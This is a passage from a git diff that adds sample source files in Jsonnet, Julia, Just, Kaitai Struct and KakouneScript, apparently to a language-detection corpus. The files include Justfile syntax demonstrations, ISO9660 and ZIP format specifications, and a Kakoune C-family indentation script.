+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+local workflow = import "workflow.jsonnet";
+
+// Workflow that performs an intersection of two files using shell commands.
+{
+  intersection: workflow.Workflow {
+    jobs: {
+      local input_file1 = "/tmp/list1",
+      local input_file2 = "/tmp/list2",
+      local sorted_file1 = "/tmp/list1_sorted",
+      local sorted_file2 = "/tmp/list2_sorted",
+      local intersection = "/tmp/intersection",
+
+      SortJob:: workflow.ShJob {
+        input_file:: "",
+        output_file:: "",
+        command: "sort %s > %s" % [self.input_file, self.output_file],
+        inputs: [self.input_file],
+        outputs: [self.output_file],
+      },
+
+      sort_file1: self.SortJob {
+        input_file:: input_file1,
+        output_file:: sorted_file1,
+      },
+
+      sort_file2: self.SortJob {
+        input_file:: input_file2,
+        output_file:: sorted_file2,
+      },
+
+      intersect: workflow.ShJob {
+        deps: [
+          ":sort_file1",
+          ":sort_file2",
+        ],
+        command: "comm -12 %s %s > %s" %
+            [sorted_file1, sorted_file2, intersection],
+        inputs: [
+          sorted_file1,
+          sorted_file2,
+        ],
+        outputs: [intersection],
+      },
+    }
+  }
+}
diff --git a/samples/Julia/julia b/samples/Julia/julia
new file mode 100644
index 0000000000..c8fbb1f3ea
--- /dev/null
+++ b/samples/Julia/julia
@@ -0,0 +1,60 @@
+#!/usr/bin/env julia
+
+# From https://github.com/JoshCheek/language-sampler-for-fullpath/blob/b766dcdbd249ec63516f491390a75315e78cba95/julia/fullpath
+help_screen = """
+usage: fullpath *[relative-paths] [-c]
+
+  Prints the fullpath of the paths
+  If no paths are given as args, it will read them from stdin
+
+  If there is only one path, the trailing newline is omitted
+
+  The -c flag will copy the results into your pasteboard
+"""
+
+help  = false
+copy  = false
+dir   = pwd()
+paths = []
+
+for arg = ARGS
+  if arg == "-h" || arg == "--help"
+    help = true
+  elseif arg == "-c" || arg == "--copy"
+    copy = true
+  elseif arg != ""
+    push!(paths, arg)
+  end
+end
+
+if help
+  print(help_screen)
+  exit()
+end
+
+function notempty(string)
+  return !isempty(string)
+end
+
+if length(paths) == 0
+  paths = filter(notempty, map(chomp, readlines()))
+end
+
+function print_paths(stream, paths)
+  if length(paths) == 1
+    path = paths[1]
+    print(stream, "$dir/$path")
+  else
+    for path = paths
+      println(stream, "$dir/$path")
+    end
+  end
+end
+
+if copy
+  read, write, process = readandwrite(`pbcopy`)
+  print_paths(write, paths)
+  close(write)
+end
+
+print_paths(STDOUT, paths)
diff --git a/samples/Just/filenames/Justfile b/samples/Just/filenames/Justfile
new file mode 100644
index 0000000000..b7ac8dc856
--- /dev/null
+++ b/samples/Just/filenames/Justfile
@@ -0,0 +1,15 @@
+alias b := build
+
+host := `uname -a`
+
+# build main
+build:
+    cc *.c -o main
+
+# test everything
+test-all: build
+    ./test --all
+
+# run a specific test
+test TEST: build
+    ./test --test {{TEST}}
diff --git a/samples/Just/kitchen-sink.just b/samples/Just/kitchen-sink.just
new file mode 100644
index 0000000000..138a61308e
--- /dev/null
+++ b/samples/Just/kitchen-sink.just
@@ -0,0 +1,214 @@
+set shell := ["sh", "-c"]
+set windows-shell := ["powershell.exe", "-NoLogo", "-Command"]
+set allow-duplicate-recipes
+set positional-arguments
+set dotenv-load
+set export
+
+alias s := serve
+
+bt := '0'
+
+export RUST_BACKTRACE_1 := bt
+
+log := "warn"
+
+export JUST_LOG := (log + "ing" + `grep loop /etc/networks | cut -f2`)
+
+tmpdir  := `mktemp`
+version := "0.2.7"
+tardir  := tmpdir / "awesomesauce-" + version
+foo1    := / "tmp"
+foo2_3  := "a/"
+tarball := tardir + ".tar.gz"
+
+export RUST_BACKTRACE_2 := "1"
+string-with-tab             := "\t"
+string-with-newline         := "\n"
+string-with-carriage-return := "\r"
+string-with-double-quote    := "\""
+string-with-slash           := "\\"
+string-with-no-newline      := "\
+"
+
+# Newlines in variables
+single := '
+hello
+'
+
+double := "
+goodbye
+"
+escapes := '\t\n\r\"\\'
+
+# this string will evaluate to `foo\nbar\n`
+x := '''
+  foo
+  bar
+'''
+
+# this string will evaluate to `abc\n  wuv\nbar\n`
+y := """
+  abc
+    wuv
+  xyz
+"""
+
+for:
+  for file in `ls .`; do \
+    echo $file; \
+  done
+
+serve:
+  touch {{tmpdir}}/file
+
+# This backtick evaluates the command `echo foo\necho bar\n`, which produces the value `foo\nbar\n`.
+stuff := ```
+    echo foo
+    echo bar
+  ```
+
+
+an_arch := trim(lowercase(justfile())) + arch()
+trim_end := trim_end("99.99954%   ")
+home_dir := replace(env_var('HOME') / "yep", 'yep', '')
+quoted := quote("some things beyond\"$()^%#@!|-+=_*&'`")
+smartphone := trim_end_match('blah.txt', 'txt')
+museum := trim_start_match(trim_start(trim_end_matches('   yep_blah.txt.txt', '.txt')), 'yep_')
+water := trim_start_matches('ssssssoup.txt', 's')
+congress := uppercase(os())
+fam := os_family()
+path_1 := absolute_path('test')
+path_2 := '/tmp/subcommittee.txt'
+ext_z := extension(path_2)
+exe_name := file_name(just_executable())
+a_stem := file_stem(path_2)
+a_parent := parent_directory(path_2)
+sans_ext := without_extension(path_2)
+camera := join('tmp', 'dir1', 'dir2', path_2)
+cleaned := clean('/tmp/blah/..///thing.txt')
+id__path := '/tmp' / sha256('blah') / sha256_file(justfile())
+_another_var := env_var_or_default("HOME", justfile_directory())
+python := `which python`
+
+exists := if path_exists(just_executable()) =~ '^/User' { uuid() } else { 'yeah' }
+
+foo   := if env_var("_") == "/usr/bin/env" { `touch /tmp/a_file` } else { "dummy-value" }
+foo_b := if "hello" == "goodbye" { "xyz" } else { if "no" == "no" { "yep"} else { error("123") } }
+foo_c := if "hello" == "goodbye" {
+  "xyz"
+} else if "a" == "a" {
+  "abc"
+} else {
+  "123"
+}
+
+bar:
+  @echo {{foo}}
+
+
+bar2 foo_stuff:
+  echo {{ if foo_stuff == "bar" { "hello" } else { "goodbye" } }}
+
+executable:
+  @echo The executable is at: {{just_executable()}}
+
+
+rustfmt:
+  find {{invocation_directory()}} -name \*.rs -exec rustfmt {} \;
+
+test:
+  echo "{{home_dir}}"
+
+
+linewise:
+  Write-Host "Hello, world!"
+
+serve2:
+  @echo "Starting server with database $DATABASE_ADDRESS on port $SERVER_PORT…"
+
+
+shebang := if os() == 'windows' {
+  'powershell.exe'
+} else {
+  '/usr/bin/env pwsh'
+}
+
+shebang:
+	#!{{shebang}}
+	$PSV = $PSVersionTable.PSVersion | % {"$_" -split "\." }
+	$psver = $PSV[0] + "." + $PSV[1]
+	if ($PSV[2].Length -lt 4) {
+		$psver += "." + $PSV[2] + " Core"
+	} else {
+		$psver += " Desktop"
+	}
+	echo "PowerShell $psver"
+
+@foo:
+  echo bar
+
+@test5 *args='':
+  bash -c 'while (( "$#" )); do echo - $1; shift; done' -- "$@"
+
+test2 $RUST_BACKTRACE="1":
+  # will print a stack trace if it crashes
+  cargo test
+
+
+notify m="":
+	keybase chat send --topic-type "chat" --channel <channel> <team> "upd(<repo>): {{m}}"
+
+# Sample project script 2
+script2 *ARGS:
+    {{ python }} script2.py {{ ARGS }}
+
+braces:
+  echo 'I {{{{LOVE}} curly braces!'
+
+_braces2:
+  echo '{{'I {{LOVE}} curly braces!'}}'
+
+_braces3:
+  echo 'I {{ "{{" }}LOVE}} curly braces!'
+
+foo2:
+  -@cat foo
+  echo 'Done!'
+
+test3 target tests=path_1:
+  @echo 'Testing {{target}}:{{tests}}…'
+  ./test --tests {{tests}} {{target}}
+
+test4 triple=(an_arch + "-unknown-unknown") input=(an_arch / "input.dat"):
+  ./test {{triple}}
+
+variadic $VAR1_1 VAR2 VAR3 VAR4=("a") +$FLAGS='-q': foo2 braces
+  cargo test {{FLAGS}}
+
+time:
+  @-date +"%H:%S"
+  -cat /tmp/nonexistent_file.txt
+  @echo "finished"
+
+justwords:
+  grep just \
+    --text /usr/share/dict/words \
+    > /tmp/justwords
+
+# Subsequent dependencies
+# https://just.systems/man/en/chapter_37.html
+# To test, run `$ just -f test-suite.just b`
+a:
+  echo 'A!'
+
+b: a && d
+  echo 'B start!'
+  just -f {{justfile()}} c
+  echo 'B end!'
+
+c:
+  echo 'C!'
+
+d:
+  echo 'D!'
diff --git a/samples/Kaitai Struct/iso9660.ksy b/samples/Kaitai Struct/iso9660.ksy
new file mode 100644
index 0000000000..4122af2c9f
--- /dev/null
+++ b/samples/Kaitai Struct/iso9660.ksy	
@@ -0,0 +1,273 @@
+meta:
+  id: iso9660
+  title: ISO9660 CD filesystem
+  file-extension: iso
+  xref:
+    wikidata: Q815645
+  license: CC0-1.0
+doc: |
+  ISO9660 is standard filesystem used on read-only optical discs
+  (mostly CD-ROM). The standard was based on earlier High Sierra
+  Format (HSF), proposed for CD-ROMs in 1985, and, after several
+  revisions, it was accepted as ISO9960:1998.
+
+  The format emphasizes portability (thus having pretty minimal
+  features and very conservative file names standards) and sequential
+  access (which favors disc devices with relatively slow rotation
+  speed).
+types:
+  vol_desc:
+    seq:
+      - id: type
+        type: u1
+      - id: magic
+        contents: "CD001"
+      - id: version
+        type: u1
+      - id: vol_desc_boot_record
+        type: vol_desc_boot_record
+        if: type == 0
+      - id: vol_desc_primary
+        type: vol_desc_primary
+        if: type == 1
+  vol_desc_boot_record:
+    seq:
+      - id: boot_system_id
+        type: str
+        size: 32
+        encoding: UTF-8
+      - id: boot_id
+        type: str
+        size: 32
+        encoding: UTF-8
+  vol_desc_primary:
+    doc-ref: 'http://wiki.osdev.org/ISO_9660#The_Primary_Volume_Descriptor'
+    seq:
+      - id: unused1
+        contents: [0]
+      - id: system_id
+        type: str
+        size: 32
+        encoding: UTF-8
+      - id: volume_id
+        type: str
+        size: 32
+        encoding: UTF-8
+      - id: unused2
+        contents: [0, 0, 0, 0, 0, 0, 0, 0]
+      - id: vol_space_size
+        type: u4bi
+      - id: unused3
+        contents: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
+      - id: vol_set_size
+        type: u2bi
+      - id: vol_seq_num
+        type: u2bi
+      - id: logical_block_size
+        type: u2bi
+      - id: path_table_size
+        type: u4bi
+      - id: lba_path_table_le
+        type: u4le
+      - id: lba_opt_path_table_le
+        type: u4le
+      - id: lba_path_table_be
+        type: u4be
+      - id: lba_opt_path_table_be
+        type: u4be
+      - id: root_dir
+        type: dir_entry
+        size: 34
+      - id: vol_set_id
+        type: str
+        size: 128
+        encoding: UTF-8
+      - id: publisher_id
+        type: str
+        size: 128
+        encoding: UTF-8
+      - id: data_preparer_id
+        type: str
+        size: 128
+        encoding: UTF-8
+      - id: application_id
+        type: str
+        size: 128
+        encoding: UTF-8
+      - id: copyright_file_id
+        type: str
+        size: 38
+        encoding: UTF-8
+      - id: abstract_file_id
+        type: str
+        size: 36
+        encoding: UTF-8
+      - id: bibliographic_file_id
+        type: str
+        size: 37
+        encoding: UTF-8
+      - id: vol_create_datetime
+        type: dec_datetime
+      - id: vol_mod_datetime
+        type: dec_datetime
+      - id: vol_expire_datetime
+        type: dec_datetime
+      - id: vol_effective_datetime
+        type: dec_datetime
+      - id: file_structure_version
+        type: u1
+      - id: unused4
+        type: u1
+      - id: application_area
+        size: 512
+    instances:
+      path_table:
+        pos: lba_path_table_le * _root.sector_size
+        size: path_table_size.le
+        type: path_table_le
+  dir_entries:
+    seq:
+      - id: entries
+        type: dir_entry
+        repeat: until
+        repeat-until: _.len == 0
+  dir_entry:
+    seq:
+      - id: len
+        type: u1
+      - id: body
+        type: dir_entry_body
+        size: len - 1
+        if: len > 0
+  dir_entry_body:
+    seq:
+      - id: len_ext_attr_rec
+        type: u1
+      - id: lba_extent
+        type: u4bi
+      - id: size_extent
+        type: u4bi
+      - id: datetime
+        type: datetime
+      - id: file_flags
+        type: u1
+      - id: file_unit_size
+        type: u1
+      - id: interleave_gap_size
+        type: u1
+      - id: vol_seq_num
+        type: u2bi
+      - id: len_file_name
+        type: u1
+      - id: file_name
+        type: str
+        encoding: UTF-8
+        size: len_file_name
+      - id: padding
+        type: u1
+        if: len_file_name % 2 == 0
+      - id: rest
+        size-eos: true
+    instances:
+      extent_as_dir:
+        io: _root._io
+        pos: lba_extent.le * _root.sector_size
+        size: size_extent.le
+        type: dir_entries
+        if: file_flags & 2 != 0
+      extent_as_file:
+        io: _root._io
+        pos: lba_extent.le * _root.sector_size
+        size: size_extent.le
+        if: file_flags & 2 == 0
+  ## AKA "Path Table Entry"
+  path_table_le:
+    doc-ref: 'http://wiki.osdev.org/ISO_9660#The_Path_Table'
+    seq:
+      - id: entries
+        type: path_table_entry_le
+        repeat: eos
+  path_table_entry_le:
+    seq:
+      - id: len_dir_name
+        type: u1
+      - id: len_ext_attr_rec
+        type: u1
+      - id: lba_extent
+        type: u4le
+      - id: parent_dir_idx
+        type: u2le
+      - id: dir_name
+        type: str
+        encoding: UTF-8
+        size: len_dir_name
+      - id: padding
+        type: u1
+        if: len_dir_name % 2 == 1
+  datetime:
+    seq:
+      - id: year
+        type: u1
+      - id: month
+        type: u1
+      - id: day
+        type: u1
+      - id: hour
+        type: u1
+      - id: minute
+        type: u1
+      - id: sec
+        type: u1
+      - id: timezone
+        type: u1
+  dec_datetime:
+    doc-ref: 'http://wiki.osdev.org/ISO_9660#Date.2Ftime_format'
+    seq:
+      - id: year
+        type: str
+        size: 4
+        encoding: ASCII
+      - id: month
+        type: str
+        size: 2
+        encoding: ASCII
+      - id: day
+        type: str
+        size: 2
+        encoding: ASCII
+      - id: hour
+        type: str
+        size: 2
+        encoding: ASCII
+      - id: minute
+        type: str
+        size: 2
+        encoding: ASCII
+      - id: sec
+        type: str
+        size: 2
+        encoding: ASCII
+      - id: sec_hundreds
+        type: str
+        size: 2
+        encoding: ASCII
+      - id: timezone
+        type: u1
+  u2bi:
+    seq:
+      - id: le
+        type: u2le
+      - id: be
+        type: u2be
+  u4bi:
+    seq:
+      - id: le
+        type: u4le
+      - id: be
+        type: u4be
+instances:
+  sector_size:
+    value: 2048
+  primary_vol_desc:
+    type: vol_desc
+    pos: 0x010 * sector_size
diff --git a/samples/Kaitai Struct/zip.ksy b/samples/Kaitai Struct/zip.ksy
new file mode 100644
index 0000000000..54ed5868e9
--- /dev/null
+++ b/samples/Kaitai Struct/zip.ksy	
@@ -0,0 +1,284 @@
+meta:
+  id: zip
+  title: ZIP archive file
+  file-extension: zip
+  xref:
+    iso: 21320-1
+    justsolve: ZIP
+    loc:
+      - fdd000354
+      - fdd000355
+      - fdd000362
+      - fdd000361
+    pronom: x-fmt/263
+    wikidata: Q136218
+  endian: le
+  license: CC0-1.0
+doc: |
+  ZIP is a popular archive file format, introduced in 1989 by Phil Katz
+  and originally implemented in PKZIP utility by PKWARE.
+
+  Thanks to solid support of it in most desktop environments and
+  operating systems, and algorithms / specs availability in public
+  domain, it quickly became tool of choice for implementing file
+  containers.
+
+  For example, Java .jar files, OpenDocument, Office Open XML, EPUB files
+  are actually ZIP archives.
+doc-ref: https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT
+seq:
+  - id: sections
+    type: pk_section
+    repeat: eos
+types:
+  pk_section:
+    seq:
+      - id: magic
+        contents: 'PK'
+      - id: section_type
+        type: u2
+      - id: body
+        type:
+          switch-on: section_type
+          cases:
+            0x0201: central_dir_entry
+            0x0403: local_file
+            0x0605: end_of_central_dir
+            0x0807: data_descriptor
+  data_descriptor:
+    seq:
+      - id: crc32
+        type: u4
+      - id: len_body_compressed
+        type: u4
+      - id: len_body_uncompressed
+        type: u4
+  local_file:
+    seq:
+      - id: header
+        type: local_file_header
+      - id: body
+        size: header.len_body_compressed
+  local_file_header:
+    seq:
+      - id: version
+        type: u2
+      - id: flags
+        type: u2
+      - id: compression_method
+        type: u2
+        enum: compression
+      - id: file_mod_time
+        type: u2
+      - id: file_mod_date
+        type: u2
+      - id: crc32
+        type: u4
+      - id: len_body_compressed
+        type: u4
+      - id: len_body_uncompressed
+        type: u4
+      - id: len_file_name
+        type: u2
+      - id: len_extra
+        type: u2
+      - id: file_name
+        type: str
+        size: len_file_name
+        encoding: UTF-8
+      - id: extra
+        size: len_extra
+        type: extras
+  central_dir_entry:
+    doc-ref: https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT - 4.3.12
+    seq:
+      - id: version_made_by
+        type: u2
+      - id: version_needed_to_extract
+        type: u2
+      - id: flags
+        type: u2
+      - id: compression_method
+        type: u2
+        enum: compression
+      - id: last_mod_file_time
+        type: u2
+      - id: last_mod_file_date
+        type: u2
+      - id: crc32
+        type: u4
+      - id: len_body_compressed
+        type: u4
+      - id: len_body_uncompressed
+        type: u4
+      - id: len_file_name
+        type: u2
+      - id: len_extra
+        type: u2
+      - id: len_comment
+        type: u2
+      - id: disk_number_start
+        type: u2
+      - id: int_file_attr
+        type: u2
+      - id: ext_file_attr
+        type: u4
+      - id: ofs_local_header
+        type: s4
+      - id: file_name
+        type: str
+        size: len_file_name
+        encoding: UTF-8
+      - id: extra
+        size: len_extra
+        type: extras
+      - id: comment
+        type: str
+        size: len_comment
+        encoding: UTF-8
+    instances:
+      local_header:
+        pos: ofs_local_header
+        type: pk_section
+  # https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT - 4.3.16
+  end_of_central_dir:
+    seq:
+      - id: disk_of_end_of_central_dir
+        type: u2
+      - id: disk_of_central_dir
+        type: u2
+      - id: num_central_dir_entries_on_disk
+        type: u2
+      - id: num_central_dir_entries_total
+        type: u2
+      - id: len_central_dir
+        type: u4
+      - id: ofs_central_dir
+        type: u4
+      - id: len_comment
+        type: u2
+      - id: comment
+        type: str
+        size: len_comment
+        encoding: UTF-8
+  extras:
+    seq:
+      - id: entries
+        type: extra_field
+        repeat: eos
+  extra_field:
+    seq:
+      - id: code
+        type: u2
+        enum: extra_codes
+      - id: len_body
+        type: u2
+      - id: body
+        size: len_body
+        type:
+          switch-on: code
+          cases:
+            'extra_codes::ntfs': ntfs
+            'extra_codes::extended_timestamp': extended_timestamp
+            'extra_codes::infozip_unix_var_size': infozip_unix_var_size
+    types:
+      ntfs:
+        doc-ref: 'https://github.com/LuaDist/zip/blob/master/proginfo/extrafld.txt#L191'
+        seq:
+          - id: reserved
+            type: u4
+          - id: attributes
+            type: attribute
+            repeat: eos
+        types:
+          attribute:
+            seq:
+              - id: tag
+                type: u2
+              - id: len_body
+                type: u2
+              - id: body
+                size: len_body
+                type:
+                  switch-on: tag
+                  cases:
+                    1: attribute_1
+          attribute_1:
+            seq:
+              - id: last_mod_time
+                type: u8
+              - id: last_access_time
+                type: u8
+              - id: creation_time
+                type: u8
+      extended_timestamp:
+        doc-ref: 'https://github.com/LuaDist/zip/blob/master/proginfo/extrafld.txt#L817'
+        seq:
+          - id: flags
+            type: u1
+          - id: mod_time
+            type: u4
+          - id: access_time
+            type: u4
+            if: not _io.eof
+          - id: create_time
+            type: u4
+            if: not _io.eof
+      infozip_unix_var_size:
+        doc-ref: 'https://github.com/LuaDist/zip/blob/master/proginfo/extrafld.txt#L1339'
+        seq:
+          - id: version
+            type: u1
+            doc: Version of this extra field, currently 1
+          - id: len_uid
+            type: u1
+            doc: Size of UID field
+          - id: uid
+            size: len_uid
+            doc: UID (User ID) for a file
+          - id: len_gid
+            type: u1
+            doc: Size of GID field
+          - id: gid
+            size: len_gid
+            doc: GID (Group ID) for a file
+enums:
+  compression:
+    0: none
+    1: shrunk
+    2: reduced_1
+    3: reduced_2
+    4: reduced_3
+    5: reduced_4
+    6: imploded
+    8: deflated
+    9: enhanced_deflated
+    10: pkware_dcl_imploded
+    12: bzip2
+    14: lzma
+    18: ibm_terse
+    19: ibm_lz77_z
+    98: ppmd
+  extra_codes:
+    # https://github.com/LuaDist/zip/blob/master/proginfo/extrafld.txt
+    0x0001: zip64
+    0x0007: av_info
+#    0x0008: reserved for extended language encoding data (PFS) (see APPENDIX D)
+    0x0009: os2
+    0x000a: ntfs
+    0x000c: openvms
+    0x000d: pkware_unix
+    0x000e: file_stream_and_fork_descriptors
+    0x000f: patch_descriptor
+    0x0014: pkcs7
+    0x0015: x509_cert_id_and_signature_for_file
+    0x0016: x509_cert_id_for_central_dir
+    0x0017: strong_encryption_header
+    0x0018: record_management_controls
+    0x0019: pkcs7_enc_recip_cert_list
+    0x0065: ibm_s390_uncomp
+    0x0066: ibm_s390_comp
+    0x4690: poszip_4690
+    0x5455: extended_timestamp
+    0x7855: infozip_unix
+    0x7875: infozip_unix_var_size
diff --git a/samples/KakouneScript/c-family.kak b/samples/KakouneScript/c-family.kak
new file mode 100644
index 0000000000..4f056857f5
--- /dev/null
+++ b/samples/KakouneScript/c-family.kak
@@ -0,0 +1,461 @@
+# Detection
+hook global BufCreate .*\.(cc|cpp|cxx|C|hh|hpp|hxx|H)$ %{
+    set-option buffer filetype cpp
+}
+
+hook global BufSetOption filetype=c\+\+ %{
+    hook -once buffer NormalIdle '' "set-option buffer filetype cpp"
+}
+
+hook global BufCreate .*\.c$ %{
+    set-option buffer filetype c
+}
+
+hook global BufCreate .*\.h$ %{
+    try %{
+        execute-keys -draft %{%s\b::\b|\btemplate\h*<lt>|\bclass\h+\w+|\b(typename|namespace)\b|\b(public|private|protected)\h*:<ret>}
+        set-option buffer filetype cpp
+    } catch %{
+        set-option buffer filetype c
+    }
+}
+
+hook global BufCreate .*\.m %{
+    set-option buffer filetype objc
+}
+
+hook global WinSetOption filetype=(c|cpp|objc) %[
+    require-module c-family
+
+    evaluate-commands "set-option window static_words %%opt{%val{hook_param_capture_1}_static_words}"
+
+    hook -group "%val{hook_param_capture_1}-trim-indent" window ModeChange pop:insert:.* c-family-trim-indent
+    hook -group "%val{hook_param_capture_1}-insert" window InsertChar \n c-family-insert-on-newline
+    hook -group "%val{hook_param_capture_1}-indent" window InsertChar \n c-family-indent-on-newline
+    hook -group "%val{hook_param_capture_1}-indent" window InsertChar \{ c-family-indent-on-opening-curly-brace
+    hook -group "%val{hook_param_capture_1}-indent" window InsertChar \} c-family-indent-on-closing-curly-brace
+    hook -group "%val{hook_param_capture_1}-insert" window InsertChar \} c-family-insert-on-closing-curly-brace
+
+    alias window alt "%val{hook_param_capture_1}-alternative-file"
+
+    hook -once -always window WinSetOption filetype=.* "
+        remove-hooks window %val{hook_param_capture_1}-.+
+        unalias window alt %val{hook_param_capture_1}-alternative-file
+    "
+]
+
+hook -group c-highlight global WinSetOption filetype=c %{
+    add-highlighter window/c ref c
+    hook -once -always window WinSetOption filetype=.* %{ remove-highlighter window/c }
+}
+
+hook -group cpp-highlight global WinSetOption filetype=cpp %{
+    add-highlighter window/cpp ref cpp
+    hook -once -always window WinSetOption filetype=.* %{ remove-highlighter window/cpp }
+}
+
+hook -group objc-highlight global WinSetOption filetype=objc %{
+    add-highlighter window/objc ref objc
+    hook -once -always window WinSetOption filetype=.* %{ remove-highlighter window/objc }
+}
+
+
+provide-module c-family %§
+
+define-command -hidden c-family-trim-indent %{
+    # remove the line if it's empty when leaving the insert mode
+    try %{ execute-keys -draft <a-x> 1s^(\h+)$<ret> d }
+}
+
+define-command -hidden c-family-indent-on-newline %< evaluate-commands -draft -itersel %<
+    execute-keys <semicolon>
+    try %<
+        # if previous line is part of a comment, do nothing
+        execute-keys -draft <a-?>/\*<ret> <a-K>^\h*[^/*\h]<ret>
+    > catch %<
+        # else if previous line closed a paren (possibly followed by words and a comment),
+        # copy indent of the opening paren line
+        execute-keys -draft k<a-x> 1s(\))(\h+\w+)*\h*(\;\h*)?(?://[^\n]+)?\n\z<ret> m<a-semicolon>J <a-S> 1<a-&>
+    > catch %<
+        # else indent new lines with the same level as the previous one
+        execute-keys -draft K <a-&>
+    >
+    # remove previous empty lines resulting from the automatic indent
+    try %< execute-keys -draft k <a-x> <a-k>^\h+$<ret> Hd >
+    # indent after an opening brace or parenthesis at end of line
+    try %< execute-keys -draft k <a-x> <a-k>[{(]\h*$<ret> j <a-gt> >
+    # indent after a label
+    try %< execute-keys -draft k <a-x> s[a-zA-Z0-9_-]+:\h*$<ret> j <a-gt> >
+    # indent after a statement not followed by an opening brace
+    try %< execute-keys -draft k <a-x> s\)\h*(?://[^\n]+)?\n\z<ret> \
+                               <a-semicolon>mB <a-k>\A\b(if|for|while)\b<ret> <a-semicolon>j <a-gt> >
+    try %< execute-keys -draft k <a-x> s \belse\b\h*(?://[^\n]+)?\n\z<ret> \
+                               j <a-gt> >
+    # deindent after a single line statement end
+    try %< execute-keys -draft K <a-x> <a-k>\;\h*(//[^\n]+)?$<ret> \
+                               K <a-x> s\)(\h+\w+)*\h*(//[^\n]+)?\n([^\n]*\n){2}\z<ret> \
+                               MB <a-k>\A\b(if|for|while)\b<ret> <a-S>1<a-&> >
+    try %< execute-keys -draft K <a-x> <a-k>\;\h*(//[^\n]+)?$<ret> \
+                               K <a-x> s \belse\b\h*(?://[^\n]+)?\n([^\n]*\n){2}\z<ret> \
+                               <a-S>1<a-&> >
+    # deindent closing brace(s) when after cursor
+    try %< execute-keys -draft <a-x> <a-k> ^\h*[})] <ret> gh / [})] <esc> m <a-S> 1<a-&> >
+    # align to the opening parenthesis or opening brace (whichever is first)
+    # on a previous line if its followed by text on the same line
+    try %< evaluate-commands -draft %<
+        # Go to opening parenthesis and opening brace, then select the most nested one
+        try %< execute-keys [c [({],[)}] <ret> >
+        # Validate selection and get first and last char
+        execute-keys <a-k>\A[{(](\h*\S+)+\n<ret> <a-K>"(([^"]*"){2})*<ret> <a-K>'(([^']*'){2})*<ret> <a-:><a-semicolon>L <a-S>
+        # Remove possibly incorrect indent from new line which was copied from previous line
+        try %< execute-keys -draft <space> <a-h> s\h+<ret> d >
+        # Now indent and align that new line with the opening parenthesis/brace
+        execute-keys 1<a-&> &
+     > >
+> >
+
+define-command -hidden c-family-indent-on-opening-curly-brace %[
+    # align indent with opening paren when { is entered on a new line after the closing paren
+    try %[ execute-keys -draft -itersel h<a-F>)M <a-k> \A\(.*\)\h*\n\h*\{\z <ret> <a-S> 1<a-&> ]
+    # align indent with opening paren when { is entered on a new line after the else
+    try %[ execute-keys -draft -itersel hK <a-x> s \belse\b\h*(?://[^\n]+)?\n\h*\{<ret> <a-S> 1<a-&> ]
+]
+
+define-command -hidden c-family-indent-on-closing-curly-brace %[
+    # align to opening curly brace when alone on a line
+    try %[
+        # in case open curly brace follows a closing paren, align indent with opening paren
+        execute-keys -itersel -draft <a-h><a-:><a-k>^\h+\}$<ret>hm <a-F>)M <a-k> \A\(.*\)\h\{.*\}\z <ret> <a-S>1<a-&>
+    ] catch %[
+        # otherwise align with open curly brace
+        execute-keys -itersel -draft <a-h><a-:><a-k>^\h+\}$<ret>hm<a-S>1<a-&>
+    ] catch %[]
+]
+
+define-command -hidden c-family-insert-on-closing-curly-brace %[
+    # add a semicolon after a closing brace if part of a class, union or struct definition
+    try %[ execute-keys -itersel -draft hm<a-x>B<a-x><a-k>\A\h*(class|struct|union|enum)<ret> '<a-;>;i;<esc>' ]
+]
+
+define-command -hidden c-family-insert-on-newline %[ evaluate-commands -itersel -draft %[
+    execute-keys <semicolon>
+    try %[
+        evaluate-commands -draft -save-regs '/"' %[
+            # copy the commenting prefix
+            execute-keys -save-regs '' k <a-x>1s^\h*(//+\h*)<ret> y
+            try %[
+                # if the previous comment isn't empty, create a new one
+                execute-keys <a-x><a-K>^\h*//+\h*$<ret> j<a-x>s^\h*<ret>P
+            ] catch %[
+                # if there is no text in the previous comment, remove it completely
+                execute-keys d
+            ]
+        ]
+    ]
+    try %[
+        # if the previous line isn't within a comment scope, break
+        execute-keys -draft k<a-x> <a-k>^(\h*/\*|\h+\*(?!/))<ret>
+
+        # find comment opening, validate it was not closed, and check its using star prefixes
+        execute-keys -draft <a-?>/\*<ret><a-H> <a-K>\*/<ret> <a-k>\A\h*/\*([^\n]*\n\h*\*)*[^\n]*\n\h*.\z<ret>
+
+        try %[
+            # if the previous line is opening the comment, insert star preceeded by space
+            execute-keys -draft k<a-x><a-k>^\h*/\*<ret>
+            execute-keys -draft i*<space><esc>
+        ] catch %[
+           try %[
+                # if the next line is a comment line insert a star
+                execute-keys -draft j<a-x><a-k>^\h+\*<ret>
+                execute-keys -draft i*<space><esc>
+            ] catch %[
+                try %[
+                    # if the previous line is an empty comment line, close the comment scope
+                    execute-keys -draft k<a-x><a-k>^\h+\*\h+$<ret> <a-x>1s\*(\h*)<ret>c/<esc>
+                ] catch %[
+                    # if the previous line is a non-empty comment line, add a star
+                    execute-keys -draft i*<space><esc>
+                ]
+            ]
+        ]
+
+        # trim trailing whitespace on the previous line
+        try %[ execute-keys -draft s\h+$<ret> d ]
+        # align the new star with the previous one
+        execute-keys K<a-x>1s^[^*]*(\*)<ret>&
+    ]
+] ]
+
+# Regions definition are the same between c++ and objective-c
+evaluate-commands %sh{
+    for ft in c cpp objc; do
+        if [ "${ft}" = "objc" ]; then
+            maybe_at='@?'
+        else
+            maybe_at=''
+        fi
+
+        cat <<-EOF
+            add-highlighter shared/$ft regions
+            add-highlighter shared/$ft/code default-region group
+            add-highlighter shared/$ft/string region %{$maybe_at(?<!')(?<!'\\\\)"} %{(?<!\\\\)(?:\\\\\\\\)*"} fill string
+            add-highlighter shared/$ft/raw_string region -match-capture %{R"([^(]*)\\(} %{\\)([^")]*)"} fill string
+            add-highlighter shared/$ft/javadoc region /\*\*[^/] \*/ fill documentation
+            add-highlighter shared/$ft/qtdoc region /\*! \*/ fill documentation
+            add-highlighter shared/$ft/inline_doc region /// $ fill documentation
+            add-highlighter shared/$ft/inline_qtdoc region //! $ fill documentation
+            add-highlighter shared/$ft/comment region /\\* \\*/ fill comment
